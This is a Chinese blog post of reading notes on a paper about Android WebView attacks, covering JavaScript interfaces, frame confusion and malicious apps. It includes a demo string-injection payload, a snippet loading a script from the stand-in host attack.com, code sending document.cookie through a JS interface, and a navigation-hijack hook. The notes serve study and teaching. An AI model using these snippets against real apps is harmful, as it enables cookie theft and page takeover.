Attacks on WebView in the Android System阅读笔记

Attacks on WebView in the Android System阅读笔记

0. 概述

Attacks on WebView in the Android System是一篇以介绍为主的论文,介绍了安卓webview组件的使用情况,以及webview的使用带来的潜在安全问题。作为较早期的论文之一,这篇文章没有使用具体的漏洞攻击的例子,而是主要介绍了两种攻击可能发生的形式——通过网页(沙盒的漏洞,或帧混淆的方法),以及通过恶意的app,并分析了其可行性。作者指出如果不加监控,可以预见通过这种漏洞进行的攻击的实例很快就会出现(事实如此)。

通过对这篇文章和相关资料的学习,我主要的收获是

  • 进一步了解了webview在安卓应用中的使用方法;
  • 了解iframe、droid gap等一些新的概念,以及它们的使用造成的一些安全隐患;
  • 尝试了简单的漏洞攻击的例子,了解攻击进行的过程。

1. Java 与 JavaScript 在webview的交互

Webview的生命周期之前已经了解记录过就不再重复写了,本次阅读的第一小节就先从webview中Java和Javascript的交互开始写起。

为什么要交互?

  • Java是安卓开发的主要语言,不用java就无法使用四大组件,无法通过其回调机制开发丰富的功能;
  • Javascript使得Web界面不只是尖括号排版渲染出的“画面”,而可以加入一些简单的逻辑来获取数据、动态加载,强化界面的功能。

因此这两者方便的交互将大大提高开发速度。WebView提供一套交互的方案,下面做了简单的尝试。

尝试

既然要交互,肯定要分别写点函数。先写Javascript的部分,就写一个超级简单的界面,里面定义了3个function,都是使用Javascript的语法。第三个先不用管,因为它调用了Java的函数,等会儿会在Java中实现并注册它。

//test.html
<html>

<script type="text/javascript">

        function helloJava() {
            alert("I'm come from java");
        }

        function helloJavaWithParam(message) {
            alert(message);
        }

        function helloToJava() {
            window.control.helloJs("I'm come from js!")
        }

</script>
JavaJs In Android
</html>

要把这个放在src/main/assets文件夹中,因为这是等会儿的注册路径。

然后是Java的部分了,首先肯定是把WebView的老一套放进去:

//activity_main.xml
	<WebView
       android:id="@+id/webview"
       android:layout_width="match_parent"
       android:layout_height="match_parent" />
public class MainActivity extends AppCompatActivity {

    private WebView mwebview;
    private EditText minput;
    private Button mbutton;

    private void initWebView() {
        WebSettings webSettings = mwebview.getSettings();
        webSettings.setJavaScriptEnabled(true);  //设置允许与js交互
        mwebview.addJavascriptInterface(new JsInterface(), "control");  //注册,使得javascript可以调用java
        mwebview.setWebChromeClient(new WebChromeClient());
        mwebview.setWebViewClient(new WebViewClient() {  //webviewclient
            @Override  //重载onPageFinished,调用testcontrol
            public void onPageFinished(WebView view, String url) {

                super.onPageFinished(view, url);
                minput = findViewById(R.id.input);
                String input = minput.getText().toString();
                Log.i("PageFinish",input);
                testControl(input);
            }

        });

        mwebview.loadUrl("file:///android_asset/test.html");
    }

    private void testControl(String input) {  //调用js函数,需要用户输入作为参数,漏洞的攻击点
        String control = "javascript:helloJava()";
        control = "javascript:helloJavaWithParam(\""+input+"\")";  //传递参数,使用用户的输入
        mwebview.loadUrl(control);
    }

    public class JsInterface {  //js 调用 java的方法,需要将jsinterface注册到webview中
        @JavascriptInterface
        public void helloJs(String message) {
            Toast.makeText(getApplicationContext(), message, Toast.LENGTH_SHORT).show();
            //Log.d("MainActivity", "hellojs");
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mwebview = findViewById(R.id.webview);
        minput = findViewById(R.id.input);
        mbutton = findViewById(R.id.loadbutton);
        initWebView();
        mbutton.setOnClickListener(new View.OnClickListener() {
            @Override  //按这个按钮会重新加载页面
            public void onClick(View v) {
                mwebview.loadUrl("file:///android_asset/test.html");
            }
        });

    }

}

mainactivity中做的事情分开来看,先考虑为了让java能够调用javascript需要做些什么。

  • mwebview.loadUrl(“file:///android_asset/test.html”); 在初始化webview的时候loadurl,按照我的理解,这样子做在加载页面的同时,就相当于这里面刚才写的那三个函数被include进来了。

  • control = "javascript:helloJavaWithParam(\""+input+"\")";  //传递参数,使用用户的输入
    mwebview.loadUrl(control);
    
  • 然后就很简单了,只需要按照**JavaScript: **这样的格式就可以使用Javascript的代码块了,后面再loadurl一下就完成了。是可以传递参数的.注意到这里字符串形式的参数要手动加上引号,因为本来的代码块也是在引号里的哈哈。目前我好像也就先只会传递字符串形式的参数。

然后看看怎么让javascript调用Java

  • JsInterface中定义好了需要被用到的java函数

  • webSettings.setJavaScriptEnabled(true);  //设置允许与js交互
    mwebview.addJavascriptInterface(new JsInterface(), "control");  //注册,使得javascript可以调用java
    
  • 第一句开启交互功能,后面将jsinterface这个接口通过名字control注册,之后再js中的用法前面也看到了:

  • function helloToJava() {
             window.control.helloJs("I'm come from js!")
    }
    

看看效果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BfbgziuO-1618681918694)(阅读报告1.assets/image-20210416232916133.png)]

成功了!

小型攻击

顺便的,可以在这里试验一下之前用php尝试过的xss注入,如果想把这句搞坏也不难

control = "javascript:helloJavaWithParam(\""+input+"\")"; 

把input变成这样就好了: hahaha");alert(“Attack comes!”);//

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iuot1cka-1618681918696)(阅读报告1.assets/image-20210416233932694.png)]

这里只是alert了一下,可以想见,如果webview具有访问底层数据或者库的权力,是“大有可为”的。

2. 来自网页的攻击

作为文章介绍的两类攻击方式之一,网页的攻击在原文中是这样定义的:

攻击者的目的是破坏应用程序及其预期的 Web 应用程序。 为了实现这一点,攻击者需要欺骗受害者将其网页加载到应用程序中,然后对目标 WebView 发起攻击。

同时还有一张配图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RR5P7m3g-1618681918697)(阅读报告1.assets/image-20210416234316990.png)]

初步理解是这种方式是要诱导用户加载恶意的网页,进而破坏相关对象。与后面一种方式,需要诱导用户先使用恶意的程序,再破坏webview是有区别的。先把后面的图也粘贴过来对比一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P9gPNXsf-1618681918699)(阅读报告1.assets/image-20210416234827197.png)]

具体怎么做的还是要边往后看边理解了。

2.1 通过沙盒漏洞进行攻击

这是通过网页的攻击的第一种形式。先理解一下**沙盒(sandbox)**这个概念。

沙盒

原文中有这样的介绍:由于在浏览器中运行不受信任的 Java 脚本程序的风险,所有浏览器都实现了一个名为沙箱的访问控制机制,以包含这些程序的行为。 沙箱基本上实现了两个目标:将网页与系统隔离,并将一个来源的网页与另一个来源的网页隔离。

  • 这两个目标种前者的必要性是显然的,实际上在任何系统中上层应用调用底层系统api的权限都要受到严格控制。后面会说到有一个漏洞的来源就是对底层api访问权限的模糊。
  • 后者也是网页都要考虑的一个问题,一般会采用同源策略来进行隔离(POC),比如:人们对银行网站和小广告网站的信任程度显然是不同的,不可能让他们之间轻易共享数据。可参考https://blog.csdn.net/python_neophyte/article/details/108354418
问题出在哪里?

上面的两个因素在webview中的考虑都有待完善:

  • 在前面的代码中,将Java函数注册为JavaScript的接口(addJavascriptInterface)这一步,实质上就是在沙箱上打洞。我使用的demo仅仅做了一些输出,而如果这个java是一个访问系统资源的操作,我们就违反了网页与系统隔离这样一个要求。换句话说,如果网页被注入了恶意的javascript代码,恶意的代码也具有访问系统资源的能力了!而不仅仅是alert一个字符串给你看。
  • webview可以加载不同源的其它网页,而只要是在webview中加载的网页都可以调用提供的接口。这违背了POC的原则,使得通过加载恶意网页/用恶意网页覆盖原始页,进而调用系统资源成为可能。事实上文章后面说到的iframe等的机制都在POC原则上设计欠妥。
对系统攻击的隐患——droid graph 为例

Droid graph的目标是使得安卓开发人员可以主要通过javascript脚本编写app,而非java。为了实现这个目标,就需要打破沙箱,使得javascript脚本具有访问部分系统资源的权限。这往往通过上面所述的addjavascriptInterface来实现,例如:

private void bindBrowser(WebView wv){
	wv.addJavascriptInterface(new CameraLauncher(wv, this), "GapCam");
	wv.addJavascriptInterface(new GeoBroker(wv, this), "Geo");
	wv.addJavascriptInterface(new FileUtils(wv), "FileUtil");
	wv.addJavascriptInterface(new Storage(wv), "droidStorage"); }

重点是,一旦一个接口通过这种方式被注册到javascript,它就变成全局的——任何进入webview的webpages,都能通过调用这个接口,访问到系统资源或者深层数据,即使它是恶意的。

文中举了facebook的例子,假设facebook的应用程序使用droid graph并且注册了访问用户通讯录的权力。如果facebook的app中的网页都是来自facebook的,那应该不用担心。但问题是,facebook应用程序会加载第三方网页,第三方网页也将具有访问通讯录的权力。一种典型的攻击做法就是将恶意网页的url发送给用户,如果用户点击了此链接,webview中将加载恶意的网页,后者通过javascript可以访问用户的通讯录。

安卓应用中很多广告采取iframe的方式镶嵌在网页中,它也将具有通过接口访问系统资源的能力。好恐怖。

对web应用的攻击

一些生活社交类app会通过droid graph将FileUtiles(操作文件的对象)注册到webview,这么做是为了使得javascript可以增删改那些仅属于这个app的数据(比如一些用户数据,缓存等等)。这些资源虽然不属于系统资源,如果攻击者通过使用接口,依然能对app用户数据的完整性和隐私造成侵害。

2.2 通过frame混淆进行攻击

基本原理

安卓系统java与js的互调采取异步机制,通过回调方式完成。当webview内部的js代码调用java后,js不会等待执行结果,而是”注册“一个回调函数,当java代码执行结束后,再通过回调函数(通过loadurl的方式)交付给js。文中的例子:

public void processResults(Cursor paramCursor){
	string result = paramCursor.decode();
	string str8 = new StringBuilder().append("javascript:navigator.contacts.droidFoundContact(...)").
	localWebView.loadUrl(str8);
}

navigator.contacts.droidFoundContact是droidgap提供的回调函数。

然而,当一个webview有多个frame(如前面的iframe),执行调用的frame并不一定是接收回调的frame。事实上,下面的例子表明通过loadurl加载的js代码将在主帧的上下文中进行。

如果注册这样的js接口:

Object obj = new Object(){
public void showDomain()
	{mWebView.loadUrl("javascript:alert(document.domain)");}
};
mWebView.addJavascriptInterface(obj, "demo");

然后在子帧中这样调用接口:

function helloToJava() {
        alert("ShowDomain");
        window.control.showDomain();
}

这个接口会立刻回调js中的函数,这里打印出document.domain,结果显示的是父帧域名,这说明此时的代码是执行在父帧的上下文中的!这意味着子帧可以通过js接口+loadurl的方式进入父帧的上下文。

假想showDomain换一换,需要从页面获得一个用户输入作为参数,是不是也可以在下面这条语句中,像之前的做法一样注入恶意的js呢?值得一提的是,此时具有父帧的上下文

{mWebView.loadUrl("javascript:alert(document.domain)");}

过程图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GFWJsZXQ-1618681918700)(阅读报告1.assets/image-20210417232912935.png)]

从主帧攻击

上面的思路主要考虑的是恶意的子帧攻击主帧,再来看看假如从主帧攻击会发生什么。

假如攻击者将恶意的页面加载到webview的主帧中,然后将本身的正常页面加载到子帧中,攻击者可以让子帧和主帧一样大从而遮挡主帧,这样用户觉察不到异常。

这样做和之前的做法相比,有哪些特别之处?

假如droidgap使用tokens(令牌)来验证js的权限,使得不具有权限的js无法调用注册的java到js的接口。例如这样

public class Storage{
	public void QueryDatabase(SQLStat query, Token token){
		if(!this.checkToken(token)) return;
		else { /* Do the database query task and return result*/ }
} }

这样,恶意网页(无论作为主帧还是子帧)即使能够调用接口,也没有权限执行数据库访问的操作。然而如果用上面从主帧攻击的方法,结果将不一样:因为在这种情况下,对接口的调用是具有令牌的子帧(正常网页)发起的,而之后回调函数通过执行loadurl,会将结果返回给主帧,即恶意网页。这样,信息泄露的通道就被创建了。

过程图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DM8WwKvR-1618681918701)(阅读报告1.assets/image-20210417232920183.png)]

3. 来自恶意应用程序的攻击

攻击原因

浏览器——Web应用的TCB(trusted computing base)组件之一,需要是可信的开发商提供的。

在安卓系统中,webview改变了浏览器的TCB特性,使用webview,安卓应用程序可以在其中嵌入浏览器,允许他们显示内容以及启动http请求。同时webview附带多种API,使得应用程序中的java代码可以被网页或者js调用,同时也允许应用程序拦截和操作网页发起的事件。也就是说,浏览器和应用程序隔离的特性消失了。

特别的,文中指出,如果webview作为黑匣子(没有api)提供给应用程序,那么即使嵌入在恶意的应用程序中,依然可以认为是web的TCB控件。“通过受信任的本机浏览器代码执行底层访问控制机制,Facebook 页面不能被其托管页面所破坏。”

攻击方法

文中提到两种攻击方式:

  • Javascript注入:使用 WebView 提供的功能,Android 应用程序可以直接将自己的 Js代码注入WebView 组件中加载的任何网

    页。 此代码具有与 Web 服务器相同的权限,可以操纵网页中的一切,以及窃取其敏感信息。

  • 事件嗅探和劫持:WebView 为 Android 应用程序提供了许多钩子(API),使它们能够更好地与网页交互。 攻击者可以拦截这些API,并从 WebView 的外部发起嗅探和劫持攻击,而不需要注入Javascript代码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pmjyHPR3-1618681918701)(阅读报告1.assets/image-20210418010254890.png)]

javascript注入

之前在来自网页的攻击中已经尝试过js注入,此时的情况略有不同,现在我们假定应用程序本身就是恶意的,所以不用像之前那样在用户输入上做文章才能执行恶意的js代码。此时我们可以自由发挥注入想要的js了,似乎是更简单了(不过条件似乎也变苛刻了:需要用户使用恶意的应用程序)。看看文中的例子:

String js = "javascript: var newscript= document.createElement(\"script\");";
js += "newscript.src=\"http://www.attack.com/malicious.js\";";
js += "document.body.appendChild(newscript);";
mWebView.loadUrl(js);

这段代码在正常网页的上下文中,从外部服务器中加载一个Javascript——malicious.js,malicious.js可以从网页内部对目标web应用进行攻击。例如,如果网页时facebook,恶意的js可以删除用户的朋友。

再比如,下面的js可以获得用户的cookie:

class MyJS {
public void SendSecret(String secret) {
	... do whatever you want with the secret ...
} }
webview.addJavascriptInterface(new MyJS(), "JsShow");
webview.setWebViewClient(new WebViewClient() {
public void onPageFinished(WebView view, String url){
	view.loadUrl("javascript: window.JsShow.SendSecret(document.cookie)");
} }

这一切的根源在于:应用程序通过webview的API进入网页内部,访问到浏览器中本应和应用程序隔离的数据

事件嗅探和劫持

webview向应用程序添加许多钩子(hook,或回调函数),应用程序可以将事件处理函数注册到钩子。这使得应用程序可以在webview之外观察和处理事件。

文中举了利用shouldOverrideUrlLoading这个常见钩子进行劫持的例子,这个钩子会在发生页面导航时被调用:

webview.setWebViewClient(new WebViewClient() {
	public boolean shouldOverrideUrlLoading(WebView view, String url)
	{ 
		url="http://www.malicious.com";
		view.loadUrl(url); return true;
	}
};

这样目的地址就从本来的url变成了"http://www.malicious.com"。

4. 总结

回顾一下文章介绍了几种潜在的攻击方法:

  • 来自网页
    • 通过沙盒的漏洞 : webview上注册的js接口是全局的,访问系统的权限是全局的
    • 通过帧混淆进行攻击: js与java(页面与应用)的交互是异步的,调用帧和接收帧不一定相同,接收帧是父帧。可以建立子帧到父帧的控制和数据通道(对应从子帧攻击和从父帧攻击)。
  • 来自应用程序
    • 注入javascript,直接在网页的上下文中执行。
    • 通过钩子监听和劫持网页。
    • 原因:“定制浏览器”破坏TCB。

之后还会补充一些demo进来

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值